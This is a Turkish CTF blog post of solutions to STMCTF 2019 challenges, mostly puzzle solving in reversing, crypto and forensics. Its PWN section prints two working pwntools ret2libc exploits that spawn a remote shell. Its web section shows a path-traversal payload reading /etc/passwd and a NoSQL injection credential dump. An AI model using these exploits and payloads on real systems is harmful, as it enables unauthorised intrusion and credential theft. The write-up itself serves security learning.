Ignis@blog:~$

STMCTF Online Soruları Çözümleri

Öncelikle beraber 3.lükle bitirdiğimiz takım arkadaşlarım Genco ve Melih‘e teşekkür etmek istiyorum.

REVFORMAL



101

Bu soruda bize bu binary‘yi veriyordu. Ghidra ile incelediğimizde yaptığı pek de bir şey yoktu.

Alışkanlıktan dolayı variable ları rename ediyorum.

Burda benim dikkatimi çeken encryptDecrypt fonksiyonu oldu, kktc dosyasıyla veya giriş kısmıyla ilgilenmek yerine direkt ona bakıyorum o yüzden.

Anladığım kadarıyla sadece 50 ile xor yapıyor, sanırım adminler bunu strings atarak bulmayalım diye koymuşlar, fakat bana engel olamaz.

Hex stringlerin ikisini uç uca ekleyip 50 ile xor ediyorum ve bu geliyor: K{FTCMTS}CTK

Bir de endianness değiştirdik mi oldu gibi.

Cyberchef ile çözümü

flag:STMCTF{KKTC}



retroChrome

Bu bir <a href=/raw/ctf/STMCTF2019-online/DG_v6.EXE>DOS dosyasıydı</a> ve içerisinde MOV komutları ile flag yerleştiriliyordu. Strings atmak yeterli!

kali@kali:/media/sdb9/sec/stm$ strings --encoding=S DG_v6.EXE
...
�F�S�F�T�F�M�F�C�F�T�F�F�F�{�F�1�F�6�F�B�F�I�F�T�F�I�F�S�F�O�F�L�F�D�F�M�F�A�F�A�F�N�F�}�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F�P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�F��P�4
...

Herhangi bir dilde MOV komutundan kaynaklı gelen byteları siliyoruz, replace(‘�F�’, ‘’) yaparak, ve şu geliyor: STMCTF{16BITISOLDMAAN}PPPPPPPPPP�P�P�P�P�P�P�P�P�P�P�P�P�4

flag: STMCTF{16BITISOLDMAAN}



mines

Bu soruda bir exe dosyası veriliyor, ve bu exe dosyası hepimizin bildiği mayın tarlası oyunu. Tek sıkıntı, 900 karede 899 mayın var.

Bayrağı almanız için oyunu kazanmanız lazım. Bunun iki kolay yöntemi var. Binary’yi incelediğimizde her kare için memory de bir byte tuttuğunu, ve mayın olan karelerin 1, olmayanın 0 olduğunu görebilirsiniz. Mayınları temizleyebilir, yani her byte’ı 0 yapabilirsiniz.

Veya uyanıklık edip, virtual machine içerisinde çalıştırıp, snapshot alırsınız, herhangi bir yere tıklayıp mayınsız kare nerede bakarsınız, ve snapshot’a geri dönüp oynu kazanırsınız.



FOR01

Bu soruda bize bir android telefonun backup’ı verilmişti. İçeriğini extract edince bakılması gereken, taranması gereken çok çok fazla şey vardı, o yüzden sonuna atlıyorum. Whatsapp içerisinden msgstore.db yi çekiyorduk, ve içerisinde böyle bir mesaj olduğunu görüyorduk: 2mdgog / pges1zclmgpi2d0anoliqbwalqf5u2c7b643hj4h34yw55g + 8

Telegramda ise ..db-wal dosyasında ctfbandera_bot adında bir bot olduğunu görüyorduk. Bu botu incelediğimizde bizden bir key istediğini gördük.

Whatsapp’ta bulduğumuz stringi atarak flagi aldık.



MessageFromAfrin

Bu soru zor değildi, verilen mobil uygulamayı apktool ile açıp inceliyorduk, ve bir firebase adresi buluyorduk. Bu linke gidip /flag.json uzantısına gidince bayrak geliyordu. Malesef bu url ye gelmemize ve üzerinde uğraşmamıza rağmen wfuzz atmadık, ve flagi bulamadık.



RightManintheWrongPlace (bilmiyoruz)



travel (bilmiyoruz)



DontBotherMe



yet_another_crack_me (en ufak bir fikrimiz yok, ama luca biliyor)

DOSYASI BURADA





PWN



baby_baby

DOSYASI BURADA

pwn da çok iyi değilim, fakat Genco bu soruları çok hızlı şekilde çözdü, kendim pwn’da iyi değilim o yüzden anlatamıyorum fakat standart stack rop, ama Genco’nun kod burada:

from pwn import *

p = remote("PWNLoadBalancer-1292325806.eu-west-1.elb.amazonaws.com", 8888)
#p = process("./baby_pwn")
context(os="linux", arch="amd64")
context.log_level = 'DEBUG'

JUNK =  "A"*56

payload = JUNK
payload += p64(0x4004d1) # ret
payload += p64(0x400733) # pop rdi
payload += p64(0x40077e) # welcome pwners %s
payload += p64(0x400731) # pop rsi, r15
payload += p64(0x601020) # got - read

'''
read 250
start main 740
setvbuf e70

libc6_2.23-0ubuntu10_amd64
libc6_2.23-0ubuntu11_amd64
'''

payload += p64(0x0)
payload += p64(0x4004f0) # plt - printf

payload += p64(0x400636) # main

p.recv() # What's your fav exploitation method?
p.sendline(payload)
p.recvline() # welcome pwners

leaked_read = u64(p.recvline().strip()[17:].ljust(8, "\x00"))

libc_read   = 0xf7250

offset = leaked_read - libc_read

log.info("Leaked read: %x" % leaked_read)
log.info("glibc offset: %x" % offset)

libc_execve = 0xe4e30 + offset

payload = JUNK
payload += p64(0x400733) # pop rdi
payload += p64(offset + 0x18cd57) # bin_sh
payload += p64(offset + 0x045390) # system

p.sendline(payload)
p.interactive()



PWN1

DOSYASI BURADA Yukarıdaki ile aynı şekilde, ama bu sefer işin içinde canary de var:

from pwn import *

p = remote("52.209.229.70", 9999)
#p = process("./pwn_chal_1")
context(os="linux", arch="amd64")
context.log_level = 'DEBUG'

p.sendline("%13$lx")
canary = p.recvline()

JUNK =  "A"*7*8

payload = JUNK
payload += p64(int(canary, 16))
payload += p64(0x0)
payload += p64(0x4008d3) # pop rdi
payload += p64(0x601020) # got - puts
'''
puts 690
putchar 290
gets d80

ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

'''
payload += p64(0x400600) # plt - puts

payload += p64(0x400776) # whatt

p.sendline(payload)
leaked_read = u64(p.recvline().strip().ljust(8, "\x00")) #putssz
log.info("Leaked read: %x" % leaked_read)

libc_read   = 0x6f690

offset = leaked_read - libc_read

log.info("glibc offset: %x" % offset)

libc_execve = 0xe4e30 + offset

payload = JUNK
payload += p64(int(canary, 16))
payload += p64(0x0)
payload += p64(0x4008d3) # pop rdi
payload += p64(offset + 0x18cd57) # bin_sh
payload += p64(offset + 0x045390) # system
p.sendline()
p.sendline(payload)
p.interactive()



houseofwhat (bilmiyoruz)

Bu pwn sorusu heap pwn olacaktı, isminden bunu çıkarıyoruz. Bkz: heap overflow türleri, fakat ne zaman vardı, ne de yapacak bilgimiz. Heap exploit kitabını bastırıp spirallettim, finale kadar öğreneceğim, belki sonradan çözüp writeup’a eklerim.

DOSYASI BURADA





MISC



SLACK

Bu soru merhaba sorusuydu biraz, size ctf için tartışmanın sürdüğü STMCTF2019 slack workspace’ine götürüyordu, orda da adminler bu soruya ait bayrağı atıyordu.



be_my_side

Bu soruda bize bir resim veriliyordu.

Resime binwalk attığımızda içerisinden bir zip dosyası çıkıyordu. içerisinde 22.jpg diye bir resim vardı, fakat zip şifreli olduğu için çıkaramıyorduk.

zip2john atıp rockyou ile crackledikten sonra zip şifresinin HEART olduğunu bulup, 22.jpg yi çıkarıyorduk.

Exiftool attığımızda bunu görüyoruz: Artist : tufan

Bu dosyaya da binwalk atınca yine şifreli bir zip geliyor, ve bu sefer rockyou dan kırılmıyor. En sonunda darkc0de.txt listesi ile kırıyoruz ve şifre Kohala geliyor.

İçerisinden bu resim çıkıyor:

exiftool atınca bunu görüyoruz:Camera Model Name : U1RNQ1RGezFfbXVzdF9QUk9URUNUX3RoZV9XMUxEfQ==

flagSTMCTF{1_must_PROTECT_the_W1LD}



ACOUSTINT

Bu soru şuana kadar gördüğüm tüm ctfler arasında favorimdi. Bize şu video veriliyordu, ve sonunda yazılan email adresi isteniyordu:

Konuyla alakalı bir kaç makaleye denk geldikten ve birkaç tool gördükten sonra ikna olduk ki doğru yoldayız.

İlk öncesinde bu tool’u kullandık, fakat çok fazla problem yaşadık. Hem SDL kütüphanesi kullandığı için ve mikrofondan dinleme zorunluluğu olup mp3/wav dosyası işleyemediği için arka plan gürültümüz çok yüksekti, hem de mikrofondan dinlenirken klavye ile programın terminaline yazmak gerekiyordu. Bizde bunu yapmak için tek tek her keytap’in zamanını çıkardık, ve ses ile senkronize edip python ile klavye haraketini simüle ettik.

Bu gençliğimi çürüten python scriptinden bi kesit:

from __future__ import division
from pynput.keyboard import Key, Controller
import pygame
import time


keyboard = Controller()

last_waited=0

def wait(_time):
    global last_waited
    time.sleep((_time-last_waited)/1000)
    last_waited=_time


pygame.mixer.init()
pygame.mixer.music.load('ACOUSTINT.mp3')
pygame.mixer.music.play()

time.sleep(0.350)#sync


wait(0.317*1000)
keyboard.press('a')
keyboard.release('a')

wait(0.877*1000)
keyboard.press('r')
keyboard.release('r')

wait(1.239*1000)
keyboard.press('r')
keyboard.release('r')

wait(1.630*1000)
keyboard.press('o')
keyboard.release('o')

wait(1.983*1000)
keyboard.press('y')
keyboard.release('y')

wait(2.361*1000)
keyboard.press('o')
keyboard.release('o')

wait(2.913*1000)
keyboard.press(' ')
keyboard.release(' ')

...

Bütün çilelerle beraber training modeli oluşturduktan sonra malesef bütün bu sorunlardan dolayı değerli bir tahmin alamadık.

Bundan sonrasında 10-15 saat daha kimse çözemeyince kullanmamız gereken tool’u üreten araştırma şirketine dair bir hint geldi, ve Skype-Type aracını kullanmamız gerektiğini anladık.

Bu araç çok daha kolaydı, ses dosyasını veriyordunuz, yazılı metni veriyordunuz ve training model oluşturuyordu. Tek sıkıntısı boşlukları kabul etmiyordu, biz de tüm boşlukları X ile değiştirdik ve kabul edip training modeli oluşturdu.

Tahminleri de doğru gibi duruyordu.

Daha sonrasında görmediğimiz kısma tahmin yürütünce bize bu outputu verdi.

Yukarıdan aşağıya harf sırası, ve soldan sağa doğru da emin olma sırasını gösteriyor. Buna bakarak görmediğimiz mail adresinin the_overseer@mail.com olduğu yorumunu yaptık.

flag: STMCTF{the_overseer@mail.com}

Industrial Leak (bilmiyoruz)





OSINT



Latte

Bu soruda bir grubun türkiyeye geldiğini, ve dünyadaki en iyi 50 coffee shop’tan birinde oturacağını yazıyordu. Onları takip edebilmek için bu bölge hakkında bilgi toplamamızı istiyordu, ve yakındaki bir taksi durağının telefon numarasının flag olduğunu söylüyordu.

Araştırmalarımız sonucunda İstanbul-Bebek’teki bu Starbucks‘ı bulduk

Yolu takip ettiğimizde ise bu taksi durağını bulduk



Chain

Bu soruda bize bu stringi:3bAA58d9187B7700c505666B8C4936855DaD50B1 veriyor ve cüzdanını kaybettiğini söylüyor.

Belli bir şekilde bu crypto cüzdan adresi, aramalarımız sonucunda bunun bir ethereum cüzdanı olduğunu buluyoruz fakat içerisinde hiçbir bilgi yok, transaction yok.

Biraz daha kurcalayınca test networklerinden birinde bu adresin aktif olduğunu buluyoruz.

https://ropsten.etherscan.io/address/0x3bAA58d9187B7700c505666B8C4936855DaD50B1

Transaction infolara baktığımızda şu transactionda: https://ropsten.etherscan.io/tx/0x958f12e6b76956c402ebefa6850ece829faf444cf189e65af8c5459252f399ea bu infoyu buluyoruz: 0x53544d4354467b623372336b65745f76337273316e7d

flag:STMCTF{b3r3ket_v3rs1n}





CODING



FirstOrder

Bu soruda size bir link veriliyordu, ve bu linkte aşağıdaki formatta bir output ile karşılaşıyordunuz:

['a', 'in', '49', '11', '58', '62', '25', '1', 'is', 'and', '79', '72', '37', '94', '44', '17', 'the', '26', '66', 'to', 'that', '70', '1', '46', '24', '21', '10', 'of', '92', '5']-->Numbers first order

Anlatılmak istenen açık, bu diziyi sıraya koyacağız, ve dediğine göre ya kelimeleri ya da sayılar öncelikli tutacağız.

En başta js ile yazmaya başlamıştım, hemen browser windowdan yollarım requestleri diye, adım adım gidelim.

JS

ilk öncelikle aldığımız stringi array ve ilk önce neyi koyacağımızı anlayacak şekilde bölmemiz gerekiyor:

    arr = (string.match(/.*-->/)[0]).replace('-->', '')
    order = (string.match(/-->[^ ]*/)[0]).replace('-->','')

Daha sonrasında arrayi stringden çekmek için ilk önce ] ve [ karakterlerini silip, , ayıracı ile böldüm. Daha sonrasında sayıları sayı, stringleri string olarak aldım.

arr = arr.replace(/\]|\[|\'/g, '').split(', ')

    for(var i=0; i<arr.length;i++){
        if(!isNaN(arr[i])){
            arr[i]= Number(arr[i])
        }
    }

Daha sonrasında sadece xhr ile request atması ve data payload’umuzu oluşturması kaldı. Kodun son hali aşağıdaki gibi:

var request = new XMLHttpRequest();
    request.open('GET', 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge', true);
    request.send(null);
    request.onreadystatechange = function () {
        if (request.readyState === 4 && request.status === 200) {
            var type = request.getResponseHeader('Content-Type');
            if (type.indexOf("text") !== 1) {
                console.log('Challenge:')
                console.log(request.responseText)
                solve(request.responseText)
                return request.responseText;
            }
        }
    }



var tosend={}
var tosend2 = {"123":"123"}
function solve(string){
    arr = (string.match(/.*-->/)[0]).replace('-->', '')
    order = (string.match(/-->[^ ]*/)[0]).replace('-->','')

    arr = arr.replace(/\]|\[|\'/g, '').split(', ')

    var words = [],numbers=[];

    for(var i=0; i<arr.length;i++){
        if(!isNaN(arr[i])){
            numbers.push(Number(arr[i]))
        }else{
            words.push(arr[i])
        }
    }

    if(order=='Numbers')
        resp = "{'answer':'["  + numbers.sort()  + ',' + words.sort() + "]'}"
    else resp = "{'answer':'["  + words.sort()  + ',' +  words.sort() + "]'}"

    var xhr = new XMLHttpRequest();
    var url = "https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge";
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.onreadystatechange = function () {
        if (xhr.readyState === 4) {
            console.log(xhr.responseText)
        }
    };
    var data = JSON.stringify(tosend);
    console.log('Response:')
    xhr.send(resp);
    console.log(resp)
}

Fakat bu çözüm çalışmadı (çok sonradan öğrendik ki soruda bi sıkıntı varmış)

Bu kod çalışmayınca belki de istekleri tek session üzerinden atmak ve Keep-Alive kullanmak gerekiyordur dedim, ve aşağıdaki py+js çözümünü çıkardım. Sunucu bazen 500 döndürüyor, bazen ise çok geç kaldın diyordu.

py + js

Python kısmı çok kolay aslında, sadece session üzerinden get request ile stringi alyorum, subprocess ile node.js dosyasını çalıştırıp, arrayi orada işliyorum. Böyle yapmamın asıl nedeni herşeyi tekrar python ile baştan yazmak istemem idi.

Python dosyası:

import requests
import hashlib
import re
import json
import ast
import subprocess
 
URL = 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge'

def get_flag():
    session = requests.Session()
    r = session.get(URL)
    #print(r.text)
    resp = (subprocess.check_output(['node', 'node/index.js', r.text]))
    r = session.post(URL)
    return r.text

while True:
    print(get_flag())

node.js dosyası:

var tosend={}
var tosend2 = {"123":"123"}
function solve(string){
    arr = (string.match(/.*-->/)[0]).replace('-->', '')
    order = (string.match(/-->[^ ]/)[0]).replace('-->','')

    arr = arr.replace(/\]|\[|\'/g, '').split(', ')

    var words = [],numbers=[];

    for(var i=0; i<arr.length;i++){
        if(!isNaN(arr[i])){
            numbers.push(Number(arr[i]))
        }else{
            words.push(arr[i])
        }
    }

    if(order=='Numbers')
        resp = "{'answer':'["  + numbers.sort()  + ',' + words.sort() + "]'}"
    else resp = "{'answer':'["  + words.sort()  + ',' +  words.sort() + "]'}"
        resp = resp.replace(',]', ']')
    //console.log('Resp: ')
    process.stdout.write(resp)

}

solve(process.argv[2])

Fakat bu da çalışmayınca olur olur diyip tamamen python implementasyonuna döndürdüm. Bu sefer sürekli terminalimden tek tek atmak yerine, bir de loopa koyayım sürekli tekrar etsin dedim.

python

import requests
import hashlib
import re
import json
import ast
import subprocess
from termcolor import colored


URL = 'https://zvlhch4ygd.execute-api.eu-west-1.amazonaws.com/production/challenge'
URLPOST = URL


_headers = {'Content-Type': 'application/json'}

def get_flag():
    session = requests.Session()
    r = session.get(URL)
    print("Challenge: " + r.text)
    numbers=[]
    words=[]
    arr = re.findall('\[.*\]',r.text)
    first = re.findall('-->[^ ]*',
        r.text)[0]
    arr = ast.literal_eval(arr[0])
    for i in range(0,len(arr)):
        if(arr[i].isdigit()):
            numbers.append(int(arr[i]))
        else:
            words.append(arr[i])

    numbers.sort()
    words.sort()
    for i in range(0,len(numbers)):
        numbers[i] = (numbers[i])

    #print(words)
    #print(numbers)
    if(first=='-->Numbers'):
        resplist = numbers + words
    else:
        resplist = words + numbers
    
    #print("Response: " + resp)
    _data = '{"answer":' + str(resplist) + '}'
    _data = _data.replace(' ', '')
    _data = _data.replace("'", '"')
    print("Response:" + _data)
    r = session.post(URLPOST, data=_data, headers=_headers)
    #print(r.headers)
    if(r.status_code==500):
        return colored(r.text,'red')
    if(r.status_code==400):
        return colored(r.text,'yellow')
    return colored(r.text,'green')
    
counter=1
while True:
    print(colored("Ölüp giden hayallerim:" + str(counter), 'yellow'))
    counter+=1
    print(get_flag())

En başta böyle bir output alıyordum:

Fakat adminler soruyu düzeltince direkt flag geldi.



BackINTime

Bu soruda bize şu dosya veriliyordu. Yapılacak şey çok açık.

Kod çok güzel değil fakat:

import os

cnt = 363
os.system = print
while True:
  print(cnt)
  with open("%s"%cnt, "rb") as r:
    c = r.read()

  if c.startswith(b'zlib_codec(flag)='):
    c = c[len(b'zlib_codec(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("cat %s | zlib-flate -uncompress > %s" % (cnt, cnt+1))
      cnt += 1
  elif c.startswith(b'base16(flag)='):
    c = c[len(b'base16(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("xxd -r -p %s > %s" % (cnt, cnt+1))
      cnt += 1
  elif c.startswith(b'base64(flag)='):
    c = c[len(b'base64(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("base64 -d %s > %s" % (cnt, cnt+1))
      cnt += 1
  elif c.startswith(b'rot_13(flag)='):
    c = c[len(b'rot_13(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("cat %s | tr 'A-Za-z' 'N-ZA-Mn-za-m' > %s" % (cnt, cnt+1))
      cnt += 1
  elif c.startswith(b'bz2_codec(flag)='):
    c = c[len(b'bz2_codec(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("bzcat %s > %s" % (cnt, cnt+1))
      cnt += 1
  elif c.startswith(b'base32(flag)='):
    c = c[len(b'base32(flag)='):]

    cnt += 1
    with open("%s"%cnt, "wb") as w:
      w.write(c)
      os.system("base32 -d %s > %s" % (cnt, cnt+1))
      cnt += 1
  else:
    print(cnt)
    quit()





WEB



easypeasy

Öncelikle özür diliyorum, çünkü bu soruya ait istediğim kadar screenshot’ım olmadığını farkettim.

Bu sunucuya girince hemen tanıyoruz, ve ne yapmamız gerektiğini ezbere biliyoruz zaten.

/windows/code.php?file=../../../../../etc/passwd adresine gidiyoruz ve bize etc/passwd geliyor, yani lfi çalışıyor. Sadece flag hangi dosyada onu bulmak lazım.

Fakat sayfada küçük bir waf var, file parametresi flag kelimesini içeriyorsa Hacker detected diyor, ve dosyayı okumuyor.

/windows/function.php?file=/etc/passwd&start=0&end=1 adresine gidince de lfi yapabildiğimizi, ve bu sefer waf olmadığını görüyoruz.

Flagin yerini bulmak için ilk önce robots.txt ye bakıyoruz, fakat 403 geliyor. Biz de lfi ile .htaccess i okuyoruz ve .txt dosyalarının 403 gönderdiğini görüyoruz, bu bize flagin flag.txt olarak kayıtlı olabileceğini gösteriyor.

Flag, /windows/function.php?file=../flag.txt adresine gidince geliyor.



eastTurkestan

Öncelikle özür diliyorum, çünkü bu soruya ait istediğim kadar screenshot’ım olmadığını farkettim.

Bu soruda websitesine girince tek dikkat çekici noktası login paneliydi. Uzun uğraşlar sonucunda username enumerate ederek “aa” isimli bir kullanıcı olduğunu bulduk, fakat bunun çözüm için lazım olmadığını çok sonradan fark ettik. Aşağıdaki gibi nosql injection yaparak tüm kullanıcıları görmek gerekiyor.

[{"_id":"5d3eeed61b715449ac610670","username":"Bumin Kağan","password":"MTM1NzU2Nzg5","__v":0},{"_id":"5d3eeedc1b715449ac610671","username":"Oğuz Kağan","password":"YXNkYXNkc2FkYXNkMjE=","__v":0},{"_id":"5d3eeee31b715449ac610672","username":"Fatih Sultan Mehmet","password":"YXNkYWRhc2QyMTMyMTM=","__v":0},{"_id":"5d3eeeea1b715449ac610673","username":"Alp Arslan","password":"cnRoZGdkZmhm","__v":0},{"_id":"5d3eeef31b715449ac610674","username":"Mustafa Kemal Atatürk","password":"Y3ZjeHZiMjM0MjM0","__v":0},{"_id":"5d3eeef81b715449ac610675","username":"Metehan","password":"c2RmZ2RmZ2Rld3J3","__v":0},{"_id":"5d3eef081b715449ac610676","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0},{"_id":"5d3eef0f1b715449ac610677","username":"Atilla","password":"YXNkYXNkcXdlMDEyMw==","__v":0},{"_id":"5d3eef151b715449ac610678","username":"Yavuz Sultan Selim","password":"c3NkZnNkNjk4Nzk2","__v":0},{"_id":"5d3eef1c1b715449ac610679","username":"Kanuni Sultan Süleyman","password":"ODk1Njg3MDU2cnR5cnR5","__v":0},{"_id":"5d8fabd59710d452195fad08","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0},{"_id":"5d8fabf99710d452195fad09","username":"Kürşat ve 40 Çerisi","password":"TmVNdXRsdVTDvHJrw7xtRGl5ZW5lLiEq","__v":0}]

Kürşat ve 40 çerisi olarak giriş yaptığımızda ise karşımıza flag geliyor. flag: STMCTF{Dogu_Turkistanli_Soydaslarimiz_Yalniz_Degildir}





CRYPTO



srom

Bu soruda bize şu string veriliyordu: <++ +++<< +++<< ++ +++< ++++< + ++<+ +<+ <<<<< <+ +<< <+++ +<< <+++ <<

En başta brainfuck olduğunu düşündük ve başına »»»»»»» ekleyip memory’ye ne yazıyor bakalım dedik, fakat anlamlı bir şey yazmıyordu.

Daha sonra 2 karakter olduğu için baconian, morse gibi bu profile uygun kriptoları denedik, morse’dan böyle bir string geldi.

(<+ )⇔ (-. ) D33IV4EFR0NWBWBM

rot7 atınca ise: K33PC4LMY0UDIDIT flag: STMCTF{K33PC4LMY0UDIDIT}



pattern

Bu soruda bize şunu diyordu:

Elimizde açık hali ve şifrelenmiş hali olan bazı kelimeler var. Bunlardan yola çıkarak şifreyi çözebilirsen sorunun ikinci adımına geçebileceksin, ikinci kısma dair ipucu gizli metnin içinde. Flag'i almadan gelme :)
Açık Metin : BUGUN HAVA GUNESLI
GİZLİ METİN : CXLBW IDAH HXSLBWV
Seni 2. adıma taşıyacak gizli metin : MRWLWK L ZHIP T VF
flag : STMCTF{4EALR3RU84839NJLOV}

İlk öncelikle gizli metinin nasıl oluşturulduğunu incelemeye başladık, ve sırasıyla 1,3,5,.. şeklinde ordinal shift yaptığını ve her kelimede sayacı sıfırladığını gördük.

Bu python scripti ile gizli metini açmak mümkün:

secret = "MRWLWK L ZHIP T VF"
#secret = "CXLBW IDAH HXSLBWV"
#secret = input()
counter=1
for ch in secret:
    if(ord(ch)>=65 and ord(ch)<=90):
        nc = chr((ord(ch)-counter-65)%26+65)
    else: 
        nc=ch
        counter=-1
    print(nc, end='')
    counter+=2
print()

Gizli metinden gelen: LORENZ K YEDI S UC

Bunun hint olduğunu söylüyordu, öyleyse flage 7-3 değerleri ile lorenz kriptosu uygulayalım:



ant_invasion

Bu soruda bize içerisinde 10 tane png olan bir images.zip dosyası veriliyordu. Bu resimlerin hepsi noise gibi gözüküyordu, ve içerisinde herhangi bir şekilde gizlenmiş data bulamayınca stegsolve da açıp oynamaya başladık. Biraz kurcaladıktan sonra xorlarken flag geldiğini gördük.



shameless

Bu soruda bize bir decimal listesi veriyordu, ilk önce bu decimalları byte a dönüştürmek istedik fakat içerisinde birkaç adet “300” vardı, ve bunları 255 den büyük olduğu için byte olarak almak mümkün değil. Bunları sildik, ve bize şu geldi: 386a647445796c50447736724850713139666a4464334e364f4139566b4c716b784167334a436f75786a536e66537453^6b3e2937113f176620110f107a3341520d5009760055280679750a60532f48531d7601512e755c134e5b66560467402e

Ortadaki xor operatörünü farkedip xor yaptıktan sonra ise şu geliyordu: STMCTF{6df9b2c0c46c2dff064368c98e7fbd63f6158b44}

Bu hashi de hashes.org a attığımızda gördük ki değeri: thursday19

flag:STMCTF{thursday19}



Brunch

Bu soruda bize şu string veriliyordu: MerHaBasTMcTFehosgElDinIZnoKtA{guveNilirogutLerYADanOKtA_meSeLeLeRInozunokTAa}

Sonunda bunun büyük ve küçük harfleri kullanan baconian cipher olduğunu bulduk, ve flagimiz: STMCTF{BACON_FLAG}